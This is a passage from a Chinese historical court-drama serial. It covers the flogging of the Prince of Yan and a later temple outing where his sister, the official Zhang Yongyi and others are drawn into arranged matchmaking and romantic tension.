第十杖时,沈斫的身体还是紧的,但到第十五杖落下、第十六杖抬起,蓄集在他心口的那股气就有些要散了。
张永一甚至开始想,自己这样冲上去阻断行刑,将来会面临怎样的惩罚。
外城光武门处骚动起来。
张永一与史可平站得离承德门近,观望了许久才从旁人的窃窃私语得知,刚闯入光武门的那个不要命的男人是陈王沈礴。
其实他还算不上男人,只是个文弱少年,偷跑出来要到承天殿上给沈斫求情,刚被发现就被比他高了一整个头的表哥霍开武锢在臂下。
他哭得涕泪横流,朝着远处小得像白璧上一处污点的沈斫大喊着“哥”。
事情闹到了光武门,还是为了沈斫,人人得见黑着脸的霍开武有多么生气,拖着小鸡仔似的陈王就要往城门外走。他应该在想,自己这个小表弟真的一点也不懂事,不懂家丑不可外扬,更不懂这些阴谋诡计,平日里只知道吟诗作对,现在发起疯来不惜对自己拳打脚踢。
白眼狼。
史可平“嘶”了一声,“他这是对陈王无礼,御史弹劾起来,得喝一壶吧?”
那头,霍开武的脾气终于上来了,“殿下你冷静点!”
陈王沈礴的一双眼里迸出的不仅是泪点,还有灼烫得不敢与之对视的愤恨与绝望:“他是我哥啊我要去救他!”
霍开武气血上涌,差点被陈王的狂吼气得晕厥过去,两臂更使上了扛鼎的力气,任凭沈礴如何挣扎,愣是一跬步也迈不过去,他压着训斥声,几乎要把陈王的耳朵都咬下来:“你没有哥哥!你娘就只生了你一个,你从来没有什么哥哥!这些人都是你的仇敌!你不杀他,他便杀你!”
张永一听不清他说了什么,只看得见,随着乔晏的刑杖落在沈斫身上发出一声闷响,陈王眼中波涛汹涌的恐惧、暴怒、担忧、伤痛都凝固在了原地。
第二十五杖落下,刑至一半,沈斫的脊梁有些要塌。
张永一捺不住,焦灼着想冲上去,刚被看热闹不嫌事大朝前面挤了挤的史可平无意挡下,承德门前就传来些不寻常的动静。
一看见形容狼狈的沈磐,张永一浑身都冻住了。
她像是宿醉初醒,又姐弟连心,沈斫在刑凳上刚有些心绪波动,她就瘫软着手脚被晋国公主拖了回去。
随着沈斫偏过头看来的眼神,沈磐心口钝痛,眼前一黑,头重脚轻地跌入沈碧怀里。
“姐……救他,我求求你救他……陛下最喜欢你,你说话他一定会听的,沈斫真的会死啊!”
“姐,沈斫是我们的亲弟弟啊!是母后拼命也要保下来的人啊!”
“姐我求你!求你为他说句话……”
沈碧从未见过她这么可怜的模样,从来没有见过这故作坚强的姑娘这么可怜地求她,求她去给沈斫求情。
可承天殿上的人心如磐石。
又过了两杖,魏俊秋出来了,带着换人行刑的旨意出来了,叫住了乔晏。
沈碧也拿不准了。
她一直安慰沈磐说,陛下不会杀沈斫的,皇帝不会杀亲儿子的。可现在行刑的人变成了魏俊秋,魏俊秋与东宫鲜有交情,他更是从底层一步步爬上来
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的,杖刑中的功夫他最熟稔不过。
阎王要人五更死,魏俊秋能叫人三更就归西。
不,他能让人吐出的最后一口热气卡在刚刚打响的五更鼓上,不差分毫。
乔晏似也不甘将刑杖交给魏俊秋。
他卸了力道好不容易拖到现在,如果把沈斫交给了魏俊秋,天知道一两杖下去沈斫得残废成什么尸体模样。
但圣旨在上。
魏俊秋掂量了手中刑杖,血水沿着杖身流入他的掌心,又从自己的掌心渗出重新滴到沈斫身上。
他抬头看着过道上被晋国公主抱着的沈磐,高扬起刑杖,随后重重打下。
这不经意的一下打得沈斫沉哼一声。
皮开肉绽,血沫横飞。
沈磐嘴唇惨白,目不转睛盯着沈斫侧过来的脸。他还带着笑,他居然还带着笑,在血汗里与自己对视。
血水已经流入他的眼睛,他却还不肯闭眼。
残忍。
受不了这样的刺激,沈磐尖叫一声晕了过去。
杖刑还在继续,魏俊秋只是收回视线,俯看向凳子上的沈斫。
谁能想在东北历练又立过战功的燕王这么不禁打?乔晏那已经变着法卸力的二十五下扛下了,自己这几下给表面功夫却受不住。
他已经仁慈致至,只可惜乔晏手下没轻没重,三四个月燕王是绝对好不了的,若早早被遣返宁远,染了小病,只怕一命呜呼大罗金仙也救不来。
想着,魏俊秋又收了一层力,沈斫的下身更加血肉模糊。
毕竟,这是陛下的亲儿子,是东宫的亲弟弟。
空旷的皇城上空只回旋起这样的巨响。
“四十八!”
“四十九。”
“五十!”
魏俊秋应声收了刑杖,眼看着沈斫睁开眼睛,撑着刑凳站起来。
他心里数着,果然,只走了两步,沈斫就摔在了地上。
乔晏脸上冲了过去将人扶起。
沈斫走不动路,却还有力气和乔晏道一句“谢谢”。
魏俊秋站在他们身后,脸色又古怪起来。
今日早朝只议了“燕王私自返京”这一件事,五十下一到,太子就从承天殿里冲了下来,与乔晏施了一礼,扛起血肉模糊的沈斫就往东宫的方向走。
血水沿着太子的朝服,拖行一路。
百官站在承天殿上俯瞰着承德门前的这一幕幕。
他们好像都松了一口气放下了心。
魏俊秋朝太子的背影行礼,然后一声不吭地走向承天殿。
**
张永一再来东宫,已经是阴风怒号的一月之后。
沈斫好得很快,趴在床上已经能沉默不语地看书看上一整个下午。后来沈磐才知道,他不在看书,只是反反复复看着那张《快雪时晴帖》,不知在想什么。
张永一等在演花殿门口,殿门一开,沈磐领出来一个少年,他连忙后退一步打礼。
目送那少年离开,沈磐这才幽幽道:“那是陈王。”
张永一再看那个像位弱不禁风的小儒生的男孩子,居然就是翻云覆雨之辈口中一直能传念的陈王殿下。素服敛容,似是在为元良郡王戴孝,又似是为他与沈斫间的兄弟情谊所受之伤哀悼。
“你不该来的。”
张永一回神,“请公主允许臣探望殿下。”
沈磐只是端详他眉眼间的沉重,再没多说什么,就让开身让他进去了。
门合上,沈斫也合起手中新翻的书册。
“永一?你怎么来了,是梁国姑姑出事了?”
张永一摇头,“臣自己来看殿下。”
“你不该来的。”
张永一只望着他眼中的消沉不说话。
“永一,我要谢谢你,谢你去救元良,也救了磐磐。”
“臣……”
“崖然很好,他从前的事情也都和我说了,他正在宁远改过自新呢。他的医术也很高超,挽救了不少将士和百姓,是宁远的大恩人。”
“臣……”
“永一,我也很好,要到二十岁了,我正在想给自己起个字,你帮我参谋参谋。”
张永一咽下苦楚,应上一声:“好。”
20. 第二十章 莫平意(二)
沈斫趴在枕头上,将手中的书卷递给张永一,“其实我已经选好了,叫‘时晴’,只是不好——”
张永一翻了翻,这本居然是建安三曹的诗集,他接话问:“如何不好?”
“斧以金为斫,与‘时晴’二字哪里也搭不上,且念上去,就像个姑娘。”
“臣以为殿下是说,尊长不言而擅取小字,是为不好。”
沈斫轻笑:“这也没什么不好,有人愿信这些,有人不信罢了——坐,这有位子。”
张永一应声坐下。
“信这些的人,也未必敬权敬威,不信这些的人,倒也未必不敬不畏,不过沉痛哀念罢了。”
张永一端详他。
快雪时晴,随意拈来就是一个“时晴”。
沈斫道:“你见过襄阳侯了吧?”
“是。”
“他大名叫郇翾,也未取字。”
张永一还是端详他,轻声问:“为何?”
也许是压得心肺憋闷,沈斫的胳膊撑了撑,总算又找到了一个舒适的姿势趴了上去,“他自己不愿,觉得亲近之人直呼其名也不算冒犯。”
“为何不愿?”
“听宁先生说,是斯人已逝,无人堪配为其尊长、为其释名。”
“那人是谁?”
“他哥哥,前任襄阳侯郇海山,也是辅国长公主的驸马郇海山。”
“他字海山?”
“嗯,名寰,字海山。寰中宇内、海山是也。好名字。”
“的确如此。”
“永一你的名字也很配,络,缠也,守于一志、一处、一人,是为永一。”
张永一看着他笑得松快。
“磐磐说,‘时晴’这字她用着才差不多,要跟我抢,叫我让给她,我不答应她还生气。她啊,是我姐姐,脾气上倒像个妹妹,也不知将来谁能受得了她……”
说着,沈斫这才想起沈磐已经有婚约,不由得噤声。
“公主她……”
“嗐——”沈斫重新展颜,“她还想着一辈子不嫁人,学着襄阳侯家的一对姑侄,梦里都是浪迹天涯行侠仗义,也不知她竟日里看的什么东西。”
“公主很洒落。”
“她只是装得洒脱、装得无所畏惧,常常心口不一,特别爱骗人……”说着,沈斫叹气。
“殿下?”
“张永一,今年宁远的雪很大。”
把陆将军坟前的松树都压折了,他亲自去扫了雪收了断枝,发现树上居然筑了麻雀巢,雀儿也没了家。
苍天白地里,他也如麻雀一点。
宁远的雪真的很大。
张永一沉默着。
**
等沈斫能够下地行走,一个盛夏已经掠过,元良也走了一整个夏天,活着的人又要过八月的千秋节。当今陛下是十一月的诞辰,永济朝的千秋节也该定到十一月,不知为何陛下还是用了升平朝的惯例。
宫中有了旨意,要遣返沈斫,责令他节后北上,年末也不必回来。
祖母一连多月都对着除秽剑泪流,不知是在想念哪个已经撒手人寰的儿子。可突然一日,张永一下衙回家,就见她拉着老嬷嬷们翻箱倒柜的,眉梢眼角全是喜气,连院墙树上筑了的一巢麻雀的喳喳乱叫,都成了福音。
张永一很纳闷,见祖母笑眯眯地打量自己更加心惊。
果不其然,梁国长公主一开口,张永一心里的猜测就成了真。
“络儿,后日你休沐对吧?”
“嗯,祖母有什么吩咐?”
梁国拉着他的手,左看右看,“去趟慈悲寺吧?”
“好,到时候我为祖母驾车。”
梁国摇头:“不,是你自己去。”
张永一装愣,“好,祖母在家好生歇息,孙儿替祖母去礼佛。”
“佛要礼,当然还有更重要的人要见。”
张永一眨眨眼。
梁国笑眯眯。
于是乎,按照梁国长公主意思,张永一在慈悲寺的后院里莲花池边,遇到了所谓的“更重要的人”。
**
梵音叠唱,一片禅意。
沈斫才能走,就被沈磐拖去了慈悲寺。其实她本来想去双塔寺的,但突然听说大姐的小姑从南边回来了,被侯夫人压着要来慈悲寺与人相亲,于是看热闹的闲心一起,就拉着苦哈哈的沈斫飞来了兴化坊慈悲寺。
沈斫对沈磐的压榨十分不满,但碍于亲姐姐的拳头,他只能向暴力低头。
“嗐,你想和大姐道歉,也用不着把我也拉过来挡箭。”
“说什么呢?嗯?”沈磐挑眉,提起裙摆迈过门槛,走下这巍峨的大雄宝殿。
沈斫啧了一声:“好好好,我什么也没说,只是——”
“只是什么?”沈磐睨他一眼,“只是什么你也别管。”
沈斫心中微叹。
为了让他继续留下来养伤,沈磐又想去御书房外跪上一宿,被沈碧架回了东宫,姐妹两个就此大吵一架不欢而散。一连几日过去,她每天都后悔向沈碧发火,但又拉不下面子去侯府登门致歉,便想借沈碧陪小姑出门相亲的机会来此“偶遇”。
真是别扭的丫头。
“当心脚下!”沈斫上手拉了心不在焉的沈磐一把,这才免她于滑倒。
沈磐方才回神,忽然问:“刚刚在佛祖面前你求了什么?”
等沈磐站定,沈斫低头微一弯腰把她鞋子踩着的衣摆扯出来理好,“亲人百岁,贤君千岁,社稷万岁。”
元良一家来生幸福安康。
沈磐连忙跳开,又抢上来按住他的肩膀,“别弯腰!”
被凶到,沈斫只能干巴巴站着,任由沈磐把自己的衣摆理好,她抬头拧眉,又训斥起来:“净想着别人了,怎么不想想你自己?”
沈斫笑:“想了。”
“想了?想哪里去了?”
“你不想着我吗?”
沈磐白他一眼,“得得得!”
气完,沈磐一甩手又冲上了宝殿,顺着没人的蒲团又跪了下去,郑重地朝佛祖叩首。
等表情肃穆虔诚的沈磐提着裙子出来,沈斫才追到门口叹气:“你这又在干嘛?”
沈磐没好气地瞪他:“替你求余生顺遂!”
沈斫一愣,喉咙哽咽,看着沈磐良久方才笑道:“原来你先前真没想我?还是我多想了,不过你一会儿求这儿、一会儿求那儿,佛祖见你贪心,估计一个也不会理你。”
沈磐昂首挺胸、满口自豪:“所以我和佛祖说了,先前那个不作数,不必理会。”
沈斫哭笑不得,“先前你求了什么?”
“为何要告诉你?”
“为何不告诉我?”
沈磐推搡他,“别管。还有我要纠正你,佛祖面前我可向着你、想着你的,只是觉得再求一个顺遂平安才能妥帖。”
沈斫心里刺痛。
“是不是和你的亲事有关?”
闻言,沈磐一怔,见他神色严肃,就知道这小子猜到了且笃定了。
她缓缓道:“这种事,哪需要到佛祖面前发愿?我自己就能解决。”
沈斫与之对视,沈磐下意识错开目光。
“你曾经说的,你不想嫁人。”
“是么?我说过?”
“你说嫁人就是悲剧的开始,你一个公主,旁人瞧了是驸马伺候你,但嫁了人给别人当媳妇,夫为妻纲,谁知道是谁伺候谁,且祖宗家法没定你必须要嫁人,就算有规矩……这是你的原话,你还笑呢,说等二哥当了皇帝,他就是规矩,二哥最疼你了,绝对不会逼迫,到时候就养上十个八个的小白脸,高兴啊,天天游山玩水,绝对不给二哥添半点麻烦。”
沈磐听得目瞪口呆。
沈斫还是满脸严肃,“所以现在,是要你嫁给霍开武、拉拢了霍家,二哥才能当皇帝是么?”
一瞬。
两瞬。
三瞬。
沈磐勉强笑了:“你在胡说八道什么?”
“姐,不要瞒我。”
“如何瞒你了?”沈磐推着他继续往前走,“我哪里瞒着你了?哪有你想的这么多?就是我年纪不小了,也该替自己的终身大事考虑了……”
沈斫的心慢慢沉了下去,“那你为何选霍开武。”
“谁叫霍辄只有他一个儿子呢?”
“英国公府的门第不好吗?卿家的、郇家的,哪个比霍家差?哪怕是张永一也好……”
沈磐沉默。
沈斫回身,“磐磐——”
沈磐横他一眼,他立即改口,“姐!”
沈磐瞪他:“我的事你别管!”
“又不想告诉我?”沈斫冷哼,“自有旁人会告诉我,哪怕我在宁远……”
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“是,瞒着你元良的事情是我们不对,可这不是不想多生事端吗?你看那些居心叵测之人遮遮掩掩地给你送消息引你回来,你就吃了这么多苦头……”
“我甘之如饴。”
被沈斫呛声,沈磐一口气堵在心里疼得厉害,又没理由舍不得凶他,只能忿忿地跺脚,抛下沈斫就胡乱捡路而走。
她几乎是用跑的,没几步就没了影,沈斫这才慌了,将心口的凉、痛、许许多多说不清道不明的情绪都抛诸脑后,赶忙追了过去。
慈悲寺不大,贵在玲珑精致,精致到沈斫有如误入迷宫。
他急着满头是汗,一停下来就想起小时候的那些事来。
那回他们也吵了一架,沈磐就丢下他跑了,还刻意躲着自己,一直和自己绕到了天黑,等三哥从书院回来找到大哭不止的自己,她这才勉强道歉。后来有一回他们无意走散了,在紫微宫那样冷森森的地方,她自责惭愧到寝食难安。
沈斫身上的伤又痛了起来。
朝中风起云涌,化隆事端频发,他是真的担心这些与自己至亲至近的人会有什么闪失。他已经失去了元良,如何能再失去他们?
他将及冠,却忽然想像稚子一样大哭一场,因为哭完沈磐就会出现,三哥也会回来,他们都会到他身边。
沈斫觉得荒谬。
过于荒谬了。
他又往水边走了不过五步,就见那边乌木亭里一坐一站两个人,那个站着与人说话的不是沈磐又是谁?
他的心终于落回了心腔。
“燕王殿下?”
沈斫一愣,循声回头看去,那个笑着大步走来的居然是常服在身的张永一。
“永一?”沈斫把住张永一的小臂,不由得兴喜起来,又见他身后跟来一个姑娘,连忙拘束地松开手。
“哈,是燕王殿下吧?”这姑娘笑吟吟朝沈斫施礼,抬头毫不避讳地看向他,这让沈斫顿时腼腆起来。
他觉得这姑娘面熟,眼神明亮,气质开阔,尤其是她下半张脸的神韵十分熟悉,但一时半会儿想不起来是哪家的人。沈斫苦恼着,就听这姑娘掩唇嘲笑:“呀,燕王殿下居然不认得我了。”
她笑看向张永一,张永一顿时和眼前的沈斫一起腼腆起来,不禁更扬眉调笑:“张郎中不介绍介绍?”
张永一斟酌着词句刚要张口,就见一个小男孩啃着串糖葫芦蹦蹦跳跳插了进来,熟稔地拽上沈斫的袖口,眨巴着眼睛、也学着这姑娘的神态嘲笑道:“呀,小舅舅,这是我萦姑姑啊!舅舅居然认不出来!”
沈斫一懵,顿时惭愧地后退一步朝郇萦道歉:“恕我眼拙,的确是很多年不见了……”
郇萦“呵呵”笑了,又听沈斫“嘶”了一声,好像对于张永一跟自己孤男寡女在外散步十分不解,便反问:“殿下是一个人来的?”
不用回答,那男孩就要抢白:“那必然是了,正好与我作伴!”
沈斫连忙要解释,就听小孩充大人地朝郇萦和张永一指点:“太好了,你们继续相亲,我和小舅舅去玩啦!”
“相亲?”
沈斫猛然想起,郇萦就是被母亲压过来相亲的,却不想男方竟然是张永一!
狂风骤雨正呼啸着,三人又听这咋咋呼呼的男孩指着那边的凉亭惊讶大喊:“哈!姨母也在和人相亲!”
三人齐齐望去,那边凉亭里沈磐正与一陌生男子相谈甚欢。
郇萦轻呼“哇塞”,沈斫满脑门官司急得团团转,这男孩已经箭似的飞了过去,一路挥着手一路喊着:“好俊的人啊!好俊的准姨父啊!”
“霍开武这么俊俏的吗?”郇萦边惊讶着,边追着小男孩要过去,突然想起了什么,连忙回头看向张永一。
他面色沉沉,好像心情不好。
见郇萦回头等他,张永一连忙收拾心情,装得毫不在乎地和她并肩走了过去。
“郇渊?”沈磐拍案起身,就见这郇渊小鬼头引来了沈斫也罢了,和郇萦一同出现在眼前的居然还有张永一。
嵇阑“哈哈”笑了,也起身理了衣袂,边朝沈斫等施礼,边和郇渊搭话:“小公子,你可说错话啦。”
郇渊朝着嵇阑这张人神共愤的脸张着嘴出神,没注意到一边沈磐脸色黑如锅底。
嵇阑自我介绍道:“在下嵇阑,参见燕王殿下,见过郇姑娘、张郎中,还有这位郇小公子。”
21. 第二十一章
郇萦一把将还在花痴的郇渊拉回身边,朝嵇阑蹲身还礼:“嵇公子啊,幸会幸会。令尊是?”
嵇阑笑道:“靖臣将军嵇阀。”
“原来是忠义侯家的公子,失敬失敬。”
“襄阳侯府的小姐见多识广,在下才学鄙陋、眼界更是短小,十分失礼,还望郇姑娘不要见怪。”
“怎会……”
沈斫眼看着郇萦和嵇阑莫名其妙打起了客套,极其热络,场面不冷,可气氛就是无比古怪,余光瞥着黑脸的沈磐,又见沉默的张永一自若的神态里也有些勉强,便开口岔开健谈万分的两个人:“嵇公子来慈悲寺也是上香?”
嵇阑词句诚恳,眼神却瞟着沈磐,“是啊,常来佛家净地能够荡涤身心,还能与群英相聚,实乃幸事乐事。”
沈斫点点头,听嵇阑笑问:“张郎中与郇姑娘偕行,也是来上香的?在下听闻慈悲寺的姻缘签十分灵验……”
沈磐皱眉,张永一略微尴尬,沈斫莫名焦灼,只有郇萦笑得大方敞亮,不知她究竟在笑些什么,这样的笑落在人人眼里都无比刺眼。
郇渊赶忙打断他:“不不不!他们是来相亲的!还不用求姻缘签!这太快了!”
“相亲?”沈磐难以置信与郇萦相亲之人竟会是张永一。
郇萦将嘴巴比刀子还快的郇渊又扯到背后,笑应下嵇阑:“这么灵验吗?劳嵇公子指个路。”
嵇阑扫过沈磐和张永一脸上的震惊,笑着接话:“好啊。”
沈斫连忙上前:“今日还是算了吧——”
郇萦和嵇阑齐齐回看他,他又见沈磐和张永一也盯着他,顿时后悔万分,恨不得将自己才说过的话追回来吞下去。
但他们都静悄悄等着自己说话,沈斫只能硬着头皮胡言乱语:“嗷,是这样,天色不早,郇渊得早些回去,不然家里人会担心的。”
郇渊眉高眼低、困惑不已地望向他,刚要出声质疑,就被沈斫拉着往凉亭外走,“走吧走吧,我难得在京一趟,有好多话要和你说,郇渊,你没有话要和我说吗?”
郇渊奇怪:“我没有话要和舅舅说啊……”
“不,你有的。”
亭中四个人眼见着沈斫牵着郇渊逃难似的跑了,嵇阑和郇萦都琢磨出了其中意思,对视一眼,笑着要各自告别。
“既然如此,那以后再约吧。”
嵇阑笑道:“在下恭候姑娘的佳音。”
郇萦朝仍然黑脸的沈磐点头示意,走了两步,突然想起了张永一,便驻足转身看过去。
张永一在看沈磐,被自己发现了,连忙移开视线,装作在看池上风景。
郇萦压着笑,问:“张郎中不送送我吗?”
得了提醒,张永一连忙点头,刚走了半步便记得要给沈磐行礼道别。
沈磐半侧过脸,与嵇阑一同站着等他们走远。
嵇阑捂着嘴笑得夸张:“哎呀哎呀,燕王殿下可真是操心。”
沈磐一个眼神还没砸过去,他便正经下来解释道:“郇姑娘不过和我多说了半句,他就着急我挖他兄弟的墙脚,哎呀哎呀,人家张永一自个儿都没急,燕王殿下倒急得不行。”
“挖呀?”沈磐撩袍坐下,“男未婚女未嫁的你倒是挖呀?她是常年不在京,等她知道了你的名声,那时候你还能挖,本宫要佩服得五体投地。”
“酸得啦——”嵇阑夸张地朝她笑,“那天我在楼上看见,和公主一起逛花灯的就是他吧?”
沈磐挑眉:“怎么了?”
“嗐,没什么。”嵇阑摆手,“就算有什么,也得没什么,不是吗?”
沈磐直直迎上他的视线。
“毕竟在下是要尚主的,对吧我的公主?”
见沈磐被他的话恶心到了,嵇阑笑得幸灾乐祸,“今天霍开武也来了,以他那阴损的性子,指不定在哪里看着我们呢,到时候公主那儿可有得麻烦。”
“你能周全自己别给我添麻烦就好。”
嵇阑虚虚一抱拳,“那是自然。”
沈磐起身,“那就这样吧。”
嵇阑也站起,“那我送送公主?”
“这倒不必。”
嵇阑笑笑:“我觉得很有必要。”
沈磐皱眉,刚要问嵇阑打什么哑谜,就见他突然走近,惊得自己要往后一跳,却不知裙摆刚好被他踩住,便这么重心不稳直挺挺朝后摔去。
嵇阑连忙拉她一把。
意料之外没有摔得腰酸背痛,沈磐一睁眼就见自己趴在嵇阑胸口,他脸色如故,却咬牙切齿地朝自己抱怨:“还挺疼的,下次再也不这样了。”
沈磐扬眉,顿时明白了过来,冷笑道:“活该。”
她刚要爬起来,后脑勺却被嵇阑用手按了按,两个人的脸顿时离得很近,近得彼此的鼻息都喷在对方脸上。
沈磐下意识地要往后躲,不妨听见嵇阑轻声道:“忍忍,那畜牲的耐心只有三个弹指。”
见他眼神诚恳,绝无半分有意要轻薄自己的意思,沈磐心中冷哼,默默数了三声,亭外仍然没有什么动静,顿时火冒。
嵇阑扯唇笑道:“公主啊,谁占谁便宜还不一定呢,可别这么着急下定论。”
说着,他一松手,却暧昧地将手隔着空气搭在她的腰间。
沈磐逼自己沉下心,用手肘狠狠搁在嵇阑的肋下挤兑了一把,借力坐了起来,报复似地呵声笑:“是么?”
嵇阑吃了暗招,倒没生气,反而躺在地上“哈哈”地笑,笑看着沈磐站起来掸着身上的灰尘。看了一会儿,等沈磐收拾好形容就要甩手走人时,他出声道:“祝愿我们一切顺利。”
沈磐瞥了还躺在地上装死人的嵇阑,“那是当然。”
等沈磐走后,嵇阑翻了个身。
**
“舅舅,你有什么话要和我说啊?”
沈斫还频频回望来路,不妨郇渊耐心耗尽,横在前边气咻咻地质问。
“嗯——”沈斫被迫从那处修罗炼狱中抽回心神,仰头想了想,真诚地问:“你觉得张郎中怎么样?”
郇渊撇嘴:“张郎中?就那样。”
“哪样?”
“无趣的模样。”
沈斫顿时语塞。
郇渊又咬了一颗糖葫芦,想了想又道:“那位嵇公子比较有趣。”
他鼓着腮帮又补充道:“萦姑姑也一定是这么认为的。”
沈斫立时汗颜。
“你母亲呢?她今天没来?”
郇渊摇头,“祖母嘱咐我,一定要跟着他们,寸步不离!现在好了,都怪舅舅!”
沈斫惭愧地蹲下来,“我给你道歉。”
郇渊摇头:“这可不够,此事关乎萦姑姑的终身幸福,一句空话可不管用。”
沈斫想想道:“我给你买糖葫芦、糖人。”
郇渊还是摇头:“买了我也不能带回家吃,父亲母亲一定会骂我的。”
沈斫觉得难缠,绞劲脑汁地想,可他怎么也想不出有什么东西能哄这小祖宗的高兴。不过这不劳他费心,郇渊见自家舅舅这么诚恳地要将功补过,便勉为其难地递了个台阶,“要不——”
“要不什么?”
“要不来盏酥山?”
沈斫“嘶”一声:“现在天这么凉了……”
“哎呀我吃了不会拉肚子的!”
沈斫忍不住笑出声,“你小子!我在想现在天气这么凉,恐怕没人会卖酥山……”
“有的有的……”郇渊也不装了,“我带你去,你只管付钱就好了。”
然后郇萦和张永一就在慈悲寺偏门口遇见了蹲在一起吃酥山的舅甥俩,郇渊吃着碗里的,还看着沈斫碗里的,眼神粘嗒嗒湿乎乎,就差朝沈斫摇尾乞怜。
“果然!”
听见郇萦的声音,郇渊像是被抓包的老鼠,一蹦三尺高。
张永一看着沈斫跟着郇渊偷吃冷食,不由得发笑,突然记得沈斫的伤才好了点,这么拉扯着伤口只怕出事。
沈斫故作自然地站了起来,“哦,你们来了。”
郇萦气势汹汹地点着郇渊嘴角的残渣,“别藏了。”
见沈斫大剌剌端着碗丝毫没有偷吃的自觉,郇渊朝沈斫吹胡子瞪眼睛。
张永一忍不住笑,郇萦却揪着郇渊的耳朵,“你小子厉害啊,这就吃上了?怎没想着孝敬孝敬你姑姑我啊?”
说罢,她一把从郇渊身后抢过那半碗酥山,“没收了啊,小心我和你爹娘告状!”
郇渊指着沈斫,“酥山是舅舅买的!买了给我道歉的!不关我的事!”
张永一终于笑出了声。
郇萦瞥了眼满脸通红的沈斫,“哦?道什么歉?”
郇渊刚要
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开口,就见郇萦绕就着他剩下的美味吃了起来。
他顿时着急起来,抱着郇萦的腰哭求着:“好姑姑好姑姑!”,又或者是:“姑姑最好了姑姑最好了!”最后变成了:“姑姑剩一点给我就一点好吧!”
沈斫端着碗,也觉得好笑起来。
张永一道:“殿下不怕公主知道了担心?”
沈斫难得有心情和他玩笑:“那你帮我解决了?”
一听这话头,眼见吃冰无望的郇渊跳了过来,抱着沈斫苦求起来:“我来帮舅舅!我最热心了!舅舅有伤,不应当吃冷的,不然我会告诉长平姨母舅舅偷吃酥山!”
张永一按着飞起的眉头,忍不住又笑了。
这分明是要挟抢劫。
沈斫被逗乐了,便任由郇渊捧走了自己的碗。
郇萦道:“既然连酥山都吃了,那我们回去吧?”
郇渊着急忙慌地摇头。
郇萦哪管,抬脸笑眯眯看向沈斫:“燕王殿下送一送?”
沈斫一愣,看向张永一,“那磐磐……”
郇萦也看向张永一,摊摊手,“公主自有人送,只是燕王殿下得帮我去解释解释,不然郇渊这贪凉的小鬼拉一个晚上的肚子,我可担待不起他爹娘的怒火。”
**
沈磐刚走到偏门,就看见等在门边和僧人闲聊的张永一。
他其实生的也很不错,只是和嵇阑站到一起,就有些寡淡无味了。但嵇阑是渍了花蜜的美酒,初尝回甘,千杯下肚就有些寡淡;张永一呢,该是深窖雪藏的烈酒,初尝寡淡,后劲辛辣,辣得人连杯子都要砸个粉碎,十盏过后就有了点特别的味道。
沈磐不知道自己为何会这么想。
分明张永一这个人,与姑娘多说上一句话都能臊得满脸通红,该是比最平淡的白水还要没有滋味。
或许搅弄戏弄这样的死水,便是无聊之人最大的趣味,而她又没多少良心。
沈磐站在不远,忽然就不愿往前走了。
偏门里栽了枫树,赤红赤红的,像烧起了一团火。
火燃在他背后,风拂过沈磐心里。
风助火势,要烧了山。
沈磐掉头要走,却在此时张永一看了过来。
她顿时站停脚步。
张永一与僧人话别,慢慢走了过来。
火要烧山。
山没法走。
沈磐问:“他们人呢?”
“燕王殿下送他们回侯府了。”
沈磐蹙眉。
张永一斗胆问一句:“嵇公子呢?”
沈磐挑眉不语。
见他踟蹰着、煎熬着、焦灼着,沈磐叹气:“你送我?”
张永一退身一礼:“遵命。”
“遵谁的命?”
显然张永一没想过沈磐会这么问。
这好似在刁难。
张永一微抬头,有些僵硬迟疑地回答:“公主的命令。”
沈磐低眉看着他一瞬间又垂下的眼睫,心情突然郁结,“我自己走,不用你送了。”
“公主!”
张永一追上来,沈磐的脚步却不停。
他不知该说什么挽留沈磐,他摸不着头脑沈磐又为何就生了气。
又想了想,张永一道:“今日祖母叫我来慈悲寺,我事先猜过,没想是这样……”
沈磐倏然停下,“郇萦很好,郇家会找长公主商议,也是中意你的意思。”
张永一呼吸一窒。
沈磐转身直面他的心鼓雷鸣,“你要把握住机会。”
说完,她转身就往偏门外走。
追上去,追上去解释。
耳边一直有个声音在叫嚣。
可他要解释什么?解释说郇姑娘很好,他很尊重敬佩她,但郇姑娘不喜欢他,郇姑娘也不是他的心上人?
然后呢?
他要僭越地说些什么做些什么吗?
他业已按照祖母的意思来与郇家姑娘相亲,而现在已经八月了,两个月后他的公主就要奉旨成婚。
他们是纸上的两条线,在某时某刻相遇过一回,说过几句话,一同经历了点非同寻常的事,这让他起了些不该有的肖想。但从此以后,他们永远也不会相交,各自走向对方永远不会涉足的地方。
就像此刻,他眼看着沈磐离他而去。
22. 第二十二章 莫平意(四)
“公主。”
沈磐侧身,就见巷口站着霍开武。他牵着缰,还提了一对小巧的酒瓶,风一吹,被一根绳子拴在同一对绳结里酒瓶就踉跄起来,叮叮当当铃铛似的响个不停。
“霍员外。”
霍开武叉手行礼,随即牵着马走了过来。
“臣想请公主喝一杯。”
“本宫不会喝酒。”
“喝酒是其次。”
沈磐凝神不笑时,是有些冷肃的,她今天衣裳颜色也淡,在午后阳光下直接渲成了桂花色。她很浅很淡,还有些冷,但举手抬足间每个疏远的动作,落在霍开武眼里,都成了“艳”。
此刻的沈磐是冷艳的,像是冷溪中的一块寒玉。
“聊聊嵇阑才是重点。”
沈磐这才抬眼看他。
霍开武脸上也没有笑,他松开攥缰的手,即刻有一丝鲜血沿着掌纹淌了下来。
他手心皮肤完好无缺,那这血又是从何而来?
霍开武张开手心向她晃了晃,似也在问她,这究竟是谁的血。
嵇阑。
沈磐的心一沉。
“毕竟我们快要成婚了,有些事得早些说才好。”
沈磐的视线落在了他的手背,上面有两道刮痕,新鲜的,还冒着血。
他们打了一架。
听霍开武的话头,嵇阑吃了教训败了下风。
真是够次的。
沈磐冷哼:“有什么事?”
“毕竟是我们的家事,光天化日地说不好。”
“那霍员外想在哪里说?”
“劳公主送臣一路。”
见沈磐似要拒绝,霍开武笑道:“未婚夫妻同乘一车有何不妥?”
沈磐一让,霍开武便撒开马缰绳,提着酒瓶走了过来。
张永一在门内静静看着,看着沈磐搭着霍开武的手走入车厢。
他攥紧了曾也扶过沈磐的手。
目送长平公主的马车驶离小巷,烧山的那把火霍然炸开了花。
他即刻冲了出去。
**
“公主玩够了吗?”
沈磐微一挑眉,“这话该本宫问才是。”
霍开武拔开瓶塞,递到沈磐手中,“不一样。”
沈磐拖着小瓶,听瓶中酒水随着车行乱晃,“如何不一样?”
霍开武咬开另一瓶,灌了几口,“她们是为了财,而嵇阑是为了名。我有的是钱,可驸马的名分只有一个。”
“搞得像你很珍惜这个名分。”
霍开武笑,一摊手,“没办法,这是家里老子死命塞给我的,不要不行。”
